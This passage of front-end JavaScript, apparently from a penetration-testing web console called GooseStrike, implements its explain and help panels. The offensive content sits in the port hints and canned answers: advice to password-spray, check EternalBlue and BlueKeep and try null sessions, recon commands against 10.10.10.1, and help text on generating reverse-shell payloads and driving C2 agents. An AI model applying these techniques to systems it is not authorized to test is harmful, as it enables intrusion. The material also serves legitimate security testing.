this.showProjectModal = true;
|
||
this.terminalHistory.push({ type: 'success', content: `[Wizard] Operation "${this.wizardData.name}" template ready` });
|
||
}
|
||
}
|
||
|
||
this.wizardData = {};
|
||
},
|
||
|
||
// ==========================================
|
||
// Explain Functions
|
||
// ==========================================
|
||
async explainThis(type, context) {
|
||
this.explainContext = { type, ...context };
|
||
this.showExplainModal = true;
|
||
this.explainLoading = true;
|
||
this.explainResult = null;
|
||
|
||
try {
|
||
// Call backend explain API
|
||
const response = await fetch('/api/explain', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ type, context })
|
||
});
|
||
|
||
if (response.ok) {
|
||
this.explainResult = await response.json();
|
||
} else {
|
||
// Fallback to local explanations
|
||
this.explainResult = this.getLocalExplanation(type, context);
|
||
}
|
||
} catch (error) {
|
||
console.error('Explain error:', error);
|
||
this.explainResult = this.getLocalExplanation(type, context);
|
||
}
|
||
|
||
this.explainLoading = false;
|
||
},
|
||
|
||
getLocalExplanation(type, context) {
|
||
const explanations = {
|
||
'port': {
|
||
title: `Port ${context.port}/${context.protocol || 'tcp'}`,
|
||
description: this.getPortDescription(context.port),
|
||
recommendations: this.getPortRecommendations(context.port),
|
||
example: this.getPortExample(context.port)
|
||
},
|
||
'service': {
|
||
title: `Service: ${context.service}`,
|
||
description: `${context.service} is a common service found on target systems.`,
|
||
recommendations: ['Check for known vulnerabilities', 'Look for default credentials', 'Test for misconfigurations']
|
||
},
|
||
'tool': {
|
||
title: `Tool: ${context.tool}`,
|
||
description: `${context.tool} is a penetration testing tool used in security assessments.`,
|
||
recommendations: ['Check the manual with --help', 'Use appropriate scan intensity', 'Document all findings']
|
||
},
|
||
'finding': {
|
||
title: `Finding: ${context.title || 'Security Issue'}`,
|
||
description: context.description || 'A potential security issue was discovered.',
|
||
recommendations: ['Verify the finding manually', 'Assess business impact', 'Document exploitation steps'],
|
||
warnings: context.severity === 'critical' ? ['This is a critical finding - proceed with caution'] : []
|
||
}
|
||
};
|
||
|
||
return explanations[type] || { title: 'Explanation', description: 'Information not available.' };
|
||
},
|
||
|
||
getPortDescription(port) {
|
||
const ports = {
|
||
21: 'FTP (File Transfer Protocol) - Used for file transfers. Often misconfigured with anonymous access.',
|
||
22: 'SSH (Secure Shell) - Encrypted remote access. Check for weak credentials or old versions.',
|
||
23: 'Telnet - Unencrypted remote access. Sensitive data transmitted in plaintext.',
|
||
25: 'SMTP (Simple Mail Transfer Protocol) - Email server. Check for open relay.',
|
||
53: 'DNS (Domain Name System) - Name resolution. Zone transfers may leak info.',
|
||
80: 'HTTP - Web server. Check for web vulnerabilities.',
|
||
443: 'HTTPS - Encrypted web server. Check SSL/TLS configuration.',
|
||
445: 'SMB (Server Message Block) - Windows file sharing. Often targeted for exploits.',
|
||
3306: 'MySQL - Database server. Check for weak auth.',
|
||
3389: 'RDP (Remote Desktop Protocol) - Windows remote desktop. BlueKeep vulnerable versions exist.',
|
||
5432: 'PostgreSQL - Database server. Check for default credentials.',
|
||
6379: 'Redis - In-memory database. Often unprotected.'
|
||
};
|
||
return ports[port] || `Port ${port} - Check service fingerprinting for more details.`;
|
||
},
|
||
|
||
getPortRecommendations(port) {
|
||
const recs = {
|
||
21: ['Check for anonymous FTP access', 'Try common credentials', 'Look for writeable directories'],
|
||
22: ['Enumerate SSH version', 'Try password spray', 'Check for known CVEs'],
|
||
80: ['Run directory enumeration', 'Check for common vulnerabilities', 'Identify web technologies'],
|
||
443: ['Check SSL/TLS configuration', 'Look for certificate info disclosure', 'Same tests as port 80'],
|
||
445: ['Enumerate SMB shares', 'Check for EternalBlue', 'Try null session'],
|
||
3389: ['Check for BlueKeep', 'Try credential spray', 'Look for NLA bypass']
|
||
};
|
||
return recs[port] || ['Fingerprint the service', 'Check for default credentials', 'Search for known CVEs'];
|
||
},
|
||
|
||
getPortExample(port) {
|
||
const examples = {
|
||
21: 'ftp 10.10.10.1\n> anonymous\n> anonymous@',
|
||
22: 'ssh -o StrictHostKeyChecking=no user@10.10.10.1',
|
||
80: 'gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirb/common.txt',
|
||
445: 'smbclient -L //10.10.10.1 -N',
|
||
3389: 'xfreerdp /u:user /v:10.10.10.1'
|
||
};
|
||
return examples[port] || `nmap -sV -p ${port} 10.10.10.1`;
|
||
},
|
||
|
||
// ==========================================
|
||
// Help Panel Functions
|
||
// ==========================================
|
||
toggleHelpPanel() {
|
||
this.showHelpPanel = !this.showHelpPanel;
|
||
if (this.showHelpPanel && this.helpMessages.length === 0) {
|
||
// Add welcome message
|
||
this.helpMessages.push({
|
||
role: 'assistant',
|
||
content: `👋 **Welcome to GooseStrike Help!**
|
||
|
||
I can help you with:
|
||
- 🔍 **Scanning** - Network reconnaissance, port scanning, service detection
|
||
- 💉 **Exploitation** - Using exploits, payload generation
|
||
- 📡 **C2** - Setting up listeners, managing agents
|
||
- 📝 **Reporting** - Documenting findings
|
||
- 🛠️ **Tools** - Any Kali Linux tool questions
|
||
|
||
Just ask your question below!`,
|
||
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
|
||
});
|
||
}
|
||
},
|
||
|
||
showWizard(wizardType) {
|
||
this.wizardType = wizardType;
|
||
this.wizardStep = 1;
|
||
this.wizardData = {};
|
||
this.showWizardModal = true;
|
||
this.startWizard(wizardType);
|
||
},
|
||
|
||
async sendHelpMessage() {
|
||
if (!this.helpInput.trim()) return;
|
||
|
||
const userMessage = {
|
||
role: 'user',
|
||
content: this.helpInput,
|
||
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
|
||
};
|
||
this.helpMessages.push(userMessage);
|
||
this.helpInput = '';
|
||
this.helpLoading = true;
|
||
|
||
// Scroll to bottom
|
||
this.$nextTick(() => {
|
||
const container = document.getElementById('help-messages');
|
||
if (container) container.scrollTop = container.scrollHeight;
|
||
});
|
||
|
||
try {
|
||
const response = await fetch('/api/help', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ question: userMessage.content })
|
||
});
|
||
|
||
let answer = '';
|
||
if (response.ok) {
|
||
const data = await response.json();
|
||
answer = data.answer || data.response || 'I can help with that!';
|
||
} else {
|
||
answer = this.getLocalHelp(userMessage.content);
|
||
}
|
||
|
||
this.helpMessages.push({
|
||
role: 'assistant',
|
||
content: answer,
|
||
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
|
||
});
|
||
} catch (error) {
|
||
this.helpMessages.push({
|
||
role: 'assistant',
|
||
content: this.getLocalHelp(userMessage.content),
|
||
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
|
||
});
|
||
}
|
||
|
||
this.helpLoading = false;
|
||
this.$nextTick(() => {
|
||
const container = document.getElementById('help-messages');
|
||
if (container) container.scrollTop = container.scrollHeight;
|
||
});
|
||
},
|
||
|
||
askHelpQuestion(question) {
|
||
this.helpInput = question;
|
||
this.sendHelpMessage();
|
||
},
|
||
|
||
// Alias for quick help buttons
|
||
askHelp(question) {
|
||
this.showHelpPanel = true;
|
||
this.$nextTick(() => {
|
||
this.helpInput = question;
|
||
this.sendHelpMessage();
|
||
});
|
||
},
|
||
|
||
// Wrapper for explain input functionality
|
||
explainInput() {
|
||
if (this.userInput.trim()) {
|
||
this.explainThis('command', { command: this.userInput.trim() });
|
||
} else {
|
||
this.terminalHistory.push({
|
||
type: 'info',
|
||
content: 'Type a command or select text to explain'
|
||
});
|
||
}
|
||
},
|
||
|
||
getLocalHelp(question) {
|
||
const q = question.toLowerCase();
|
||
|
||
if (q.includes('scan') && q.includes('network')) {
|
||
return `To scan a network:\n\n1. Go to the **Recon** phase\n2. Click **Quick Port Scan** or use the terminal\n3. Example: \`nmap -sV 10.10.10.0/24\`\n\nYou can also ask me in the main chat!`;
|
||
}
|
||
if (q.includes('c2') || q.includes('command and control')) {
|
||
return `The **C2 tab** provides:\n\n- **Listeners**: Create HTTP/HTTPS/TCP listeners\n- **Agents**: Manage connected agents\n- **Payloads**: Generate reverse shells\n- **Tasks**: Send commands to agents\n\nClick the C2 tab to get started!`;
|
||
}
|
||
if (q.includes('payload') || q.includes('reverse shell')) {
|
||
return `To generate payloads:\n\n1. Go to **C2 tab** → **Payloads**\n2. Set your LHOST and LPORT\n3. Choose OS and format\n4. Click **Generate**\n\nOr use Quick Payloads for common shells!`;
|
||
}
|
||
if (q.includes('mission') || q.includes('planning')) {
|
||
return `Mission planning workflow:\n\n1. Click **Start Wizard** in the sidebar\n2. Define your target and scope\n3. Set objectives and constraints\n4. GooseStrike guides you through each phase\n\nThe AI will adapt recommendations based on your mission!`;
|
||
}
|
||
|
||
return `I'm here to help with GooseStrike!\n\nI can assist with:\n- Network scanning\n- Exploitation techniques\n- C2 framework usage\n- Payload generation\n- Report generation\n\nWhat would you like to know?`;
|
||
},
|
||
|
||
// Simple markdown renderer
|
||
renderMarkdown(text) {
|
||
if (!text) return '';
|
||
return text
|
||
.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>')
|
||
.replace(/\*(.*?)\*/g, '<em>$1</em>')
|
||
.replace(/`(.*?)`/g, '<code class="bg-sp-grey px-1 rounded">$1</code>')
|
||
.replace(/\n/g, '<br>');
|
||
}
|
||
}
|
||
}
|
||
</script>
|
||
</body>
|
||
</html>
|